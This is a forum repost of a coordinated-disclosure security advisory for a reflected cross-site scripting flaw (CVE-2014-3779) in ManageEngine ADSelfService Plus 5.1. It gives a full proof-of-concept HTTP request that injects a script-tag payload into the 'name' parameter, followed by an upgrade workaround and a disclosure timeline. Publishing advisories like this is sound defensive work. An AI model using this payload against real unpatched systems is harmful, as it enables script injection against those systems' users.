Aerosol Posted January 7, 2015 Report Posted January 7, 2015 Security Advisory : Exploit Title: Manageengine ADSelfservice Plus Reflected Cross Site Scripting (XSS)Google dork : N/AExploit Author: Blessen ThomasDate : 03-01-2015Vendor Homepage : Software Link : N/AVersion :ADSelfservice Plus version 5.1 Build :5102 , Evaluation version –TrialTested on :Windows XP SP2 -Host machine ,Windows server 2003 as Active directoryCVE-2014-3779Type of Application : Web applicationRelease mode : Coordinated disclosureVulnerability Description : It is observed that the Manageengine ADSelfservice Plus is vulnerable to reflected cross site scripting(non-persistent/temporary) cross site scripting attacks in the “name” parameter andthe unfiltered input is reflected to the user Proof of concept :Request :POST /GroupSubscription.do?selectedTab=configuration&selectedTile=GroupSubscription HTTP/1.1Host: 192.168.163.134:8888User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:28.0) Gecko/20100101 Firefox/28.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateReferer: http://192.168.163.134:8888/GroupSubscription.do?selectedTab=configuration&selectedTile=GroupSubscriptionCookie: JSESSIONIDADSSP=A4144A81CF9702C53035062DBA9CD0F3; JSESSIONIDSSO=D8EE830B96B0218E4548BA3B8ADD09DB; adsspcsrf=79cf454e-9b3f-462b-bb12-03b70cd2f469Connection: keep-aliveContent-Type: application/x-www-form-urlencodedContent-Length: 161subID=0&name=test"";</script><script>alert(0)</script><"&desc=test&domains=test.com&domainName=test.com&hidden_grps=%7B%22group%22%3A%7B%22%7B1CE0BEAF-207E-4C48-B893-8A3B0FB49CFF%7D%22%3A%22Account+Operators%22%7D%7D&hidden_usrs=%7B%22user%22%3A%7B%22%7BC4520992-9D3F-439D-82F7-0869AF3BF267%7D%22Administrator%22%7D%7D&viewMembers=onParameter affected:namePayload (Exploit Code):"";</script><script>alert(0)</script><"Vulnerable link: 192.168.163.134:8888/GroupSubscription.do?selectedTab=configuration&selectedTile=GroupSubscription Tools used :Mozilla firefox browser v28.0 , Burp proxy free edition v1.5## Workaround ##----------------Update to newer Version 5.2 Build 5202 http://www.manageengine.com/products/self-service-password/download.html?btmMenu ## TimeLine ##----------------------13th Apr 2014 : Bug Discovered15th Apr 2014 : vendor was notified by e-mail16th Apr 2014 : Vendor response received13th May 2014 : Vendor acknowledged and released a patch22nd May 2014 : Mitre Team provided CVE id03rd Jan 2015 : Public DisclosureSource Quote